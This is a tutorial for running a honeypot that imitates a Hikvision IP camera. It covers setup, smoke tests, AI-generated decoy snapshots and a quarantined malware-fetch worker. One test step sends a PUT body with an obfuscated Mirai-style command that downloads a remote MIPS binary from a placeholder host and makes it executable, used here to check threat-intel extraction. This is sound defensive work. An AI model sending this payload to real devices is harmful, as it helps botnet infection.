# Tutorial: Hikvision App-webs HTTP decoy

**Audience:** Operators who want a coherent IP-camera face (App-webs / ISAPI / CVE fiction) with CTI extraction, and optionally Ollama scene images when AI is already enabled.

**Time:** Path A ~20 min; Path B ~25 min; Path C optional  
**Outcome:** You enable the Hikvision pack, smoke-test ports, verify CTI from a golden exploit body, and (optionally) fill a scene JPEG pool.

**Engagement traps (breadcrumbs / honeytokens / topology):** dedicated walkthrough: [hikvision-engagement-traps.md](hikvision-engagement-traps.md).

!!! warning "Sensor never auto-fetches attacker URLs"
    CTI extract is local only. Safe binary acquisition is an **ops-plane** worker (Path C). Do not enable fetch on a public sensor host.

## What you will learn

1. Enable `CYBERHALLUCINET_HTTP_HIKVISION=1` / `--http-hikvision`
2. Publish HTTP + optional RTSP `:554` + SDK `:8000`
3. Smoke App-webs, ISAPI, CVE fiction, snapshot JPEG
4. Replay an obfuscated Mirai-style body and confirm CTI tags
5. Configure operator image description + baseline → async pool (AI/Ollama already on)

## Prerequisites

- Sensor build: `cd engine && go build -o ../bin/sensor ./cmd/sensor`
- Free ports (lab): HTTP (e.g. 8081), optional 554/8000
- Optional: AI broker + Ollama; Ops GUI / deaddrop for Investigate

## Architecture (mental model)

```text
Attacker → HTTP App-webs (Go) → session state + CTI extract → deaddrop → Ops
         → RTSP :554 401 (optional media loop)
         → TCP :8000 accept/idle
Operator → description/baseline → Ollama (async) → JPEG pool → snapshot OSD
```

## Path A: Deterministic run (no AI)

```bash
export CYBERHALLUCINET_HTTP_HIKVISION=1
# CTI outbox/deaddrop (required for exploit_payload_extracted → Ops/STIX path)
export CYBERHALLUCINET_CTI_ENABLED=1
export CYBERHALLUCINET_CTI_OUTBOX=/tmp/chn-intel-hik/outbox
export CYBERHALLUCINET_CTI_LOG_DIR=/tmp/chn-intel-hik/logs
mkdir -p "$CYBERHALLUCINET_CTI_OUTBOX" "$CYBERHALLUCINET_CTI_LOG_DIR" /tmp/chn-intel-hik

./bin/sensor \
  --profile=research \
  --listen-http=127.0.0.1:8081 \
  --listen-rtsp=127.0.0.1:8554 \
  --listen-hik-sdk=127.0.0.1:8000 \
  --intel-dir=/tmp/chn-intel-hik
```

Smoke:

```bash
curl -sS http://127.0.0.1:8081/SDK/webLanguage | head
curl -sS 'http://127.0.0.1:8081/ISAPI/Security/users?auth=YWRtaW46' | head
curl -sS http://127.0.0.1:8081/ISAPI/System/configurationFile | xxd | head
curl -sS http://127.0.0.1:8081/onvif-http/snapshot -o /tmp/hik.jpg && file /tmp/hik.jpg
printf 'OPTIONS rtsp://127.0.0.1:8554/Streaming/Channels/101 RTSP/1.0\r\nCSeq: 1\r\n\r\n' | nc -w 2 127.0.0.1 8554 | head
```

Golden CVE body (CTI):

```bash
curl -sS -X PUT http://127.0.0.1:8081/SDK/webLanguage \
  -H 'Content-Type: application/xml' \
  --data "cd /tmp; w'g'e't http://192.0.2.45/bins/hikvision.mips; chmod +x hikvision.mips"
```

Expect intel tags including `exploit_payload_extracted` / Hik CVE / MITRE ICS (`T0866`, `T0857` when URLs extract). Export STIX/MISP via existing Ops/intel export paths.

### Engagement traps (summary)

Always-on with the pack (not bot-score gated). Full lab steps, expected CTI tags, and a one-shot purple-team script: **[Hikvision engagement traps](hikvision-engagement-traps.md)**.

| Trap | Plant | Hit → Critical tags |
|------|-------|---------------------|
| Breadcrumb | `GET /` HTML comment | `human_recon_breadcrumb` |
| Honeytoken | users / `configurationFile` | `honeytoken_reuse` |
| Topology | post-compromise `/ISAPI/System/Network/nas` | `lateral_topology` |

### Ops checklist

- Rebuild/redeploy field images when shipping the pack
- Field CHN: keep `overlays/hikvision.env` (compose `env_file`; listens on container `8554`/`18000` for nonroot) and publish host `:554`/`:8000` with `-f overlays/docker-compose.hikvision.yml`
- Confirm deaddrop → Ops before trusting “no CTI” (`CYBERHALLUCINET_CTI_ENABLED=1` is set in field compose)
- Flag off → normal HTTP persona (no `App-webs/` Server); `--http-hikvision=false` overrides env for troubleshooting
- Empty image pool → procedural JPEG (still valid)

## Path B: Scene images (AI/Ollama already on)

Requires sensor AI mode + broker + Ollama already healthy, then:

```bash
mkdir -p /var/lib/chn/hikvision-scenes /var/ops/hikvision-baselines
# optional: copy a real CCTV still as baseline
# cp ~/lab/rack.jpg /var/ops/hikvision-baselines/ref.jpg

export CYBERHALLUCINET_HTTP_HIKVISION=1
export CYBERHALLUCINET_HTTP_HIKVISION_AI_IMAGE=1
export CYBERHALLUCINET_HIKVISION_IMAGE_POOL=/var/lib/chn/hikvision-scenes
export CYBERHALLUCINET_HIKVISION_IMAGE_DESCRIPTION='CCTV view of a server rack hallway, night, fisheye'
export CYBERHALLUCINET_HIKVISION_IMAGE_BASELINE=/var/ops/hikvision-baselines/ref.jpg

./bin/sensor --profile=research --mode=ai \
  --listen-http=127.0.0.1:8081 \
  --intel-dir=/tmp/chn-intel-hik
# Sensor seeds the pool asynchronously on start when AI_IMAGE + pool_dir are set.
sleep 1
curl -sS http://127.0.0.1:8081/onvif-http/snapshot -o /tmp/hik-pool.jpg && file /tmp/hik-pool.jpg
ls /var/lib/chn/hikvision-scenes/default/
```

YAML (`config/sensor.example.yaml`):

```yaml
http:
  hikvision: true
  hikvision_images:
    description: "CCTV view of a parking lot at night"
    style_hints: "cctv,low_light"
    baseline_path: /var/ops/hikvision-baselines/ref.jpg
    pool_dir: /var/lib/chn/hikvision-scenes
    variants_per_scene: 4
```

**Image seed behavior:** with a valid `baseline_path`, the sensor normalizes JPEG/PNG → JPEG variants into `pool_dir` (OSD jitter). When `CYBERHALLUCINET_HIKVISION_IMAGE_MODEL` is unset or Ollama image gen is unavailable, seed fails closed to baseline/procedural: snapshots still return valid JPEG (no hang). Live diffusion on the snapshot hot path is out of scope.

Attackers cannot set description or upload baselines via HTTP query/body.

Optional RTSP media loop (v3): set `CYBERHALLUCINET_HIKVISION_RTSP_MEDIA=/path/to.jpg` and `CYBERHALLUCINET_HIKVISION_RTSP_MEDIA_LOOP=1` with `--listen-rtsp`. With asset present, DESCRIBE/OPTIONS return SDP advertising the still (JPEG size bound into SDP); missing asset → RTSP 401.

## Path C: Ops-plane safe fetch (optional)

**Do not enable on the public sensor.** On the ops/ctiworker host only:

```bash
export CYBERHALLUCINET_CTI_OUTBOX=/var/ops/cti-outbox
export CYBERHALLUCINET_CTI_ACQUIRE_URLS=1
export CYBERHALLUCINET_CTI_QUARANTINE=/var/ops/malware-quarantine

./bin/ctiworker --outbox="$CYBERHALLUCINET_CTI_OUTBOX" \
  --acquire-urls --quarantine="$CYBERHALLUCINET_CTI_QUARANTINE"
```

Flow: sensor enqueues `url:` IOCs with `no_auto_fetch` → worker `AcquireURLs` → `.bin.quarantine` + SHA-256/ELF/strings + optional YARA tags → `sha256:` job with `exploit_payload_acquired`.

## Troubleshooting

| Symptom | Check |
|---------|--------|
| No App-webs headers | `CYBERHALLUCINET_HTTP_HIKVISION=1` / `--http-hikvision` |
| Identical snapshot forever | stealth jitter should differ; report if not |
| No CTI events | `CYBERHALLUCINET_CTI_ENABLED=1`? outbox set? body on CVE path? deobf? |
| RTSP not listening | `--listen-rtsp` only when Hikvision flag on |
| Image pool unused | `…_AI_IMAGE=1` and non-empty `pool_dir` with `*.jpg` |
| Acquire does nothing | ops host? `--acquire-urls` + `--quarantine`? due URL jobs in outbox? |
| No JA4H in intel | Hikvision flag on? TLS/HTTP capture path armed? |
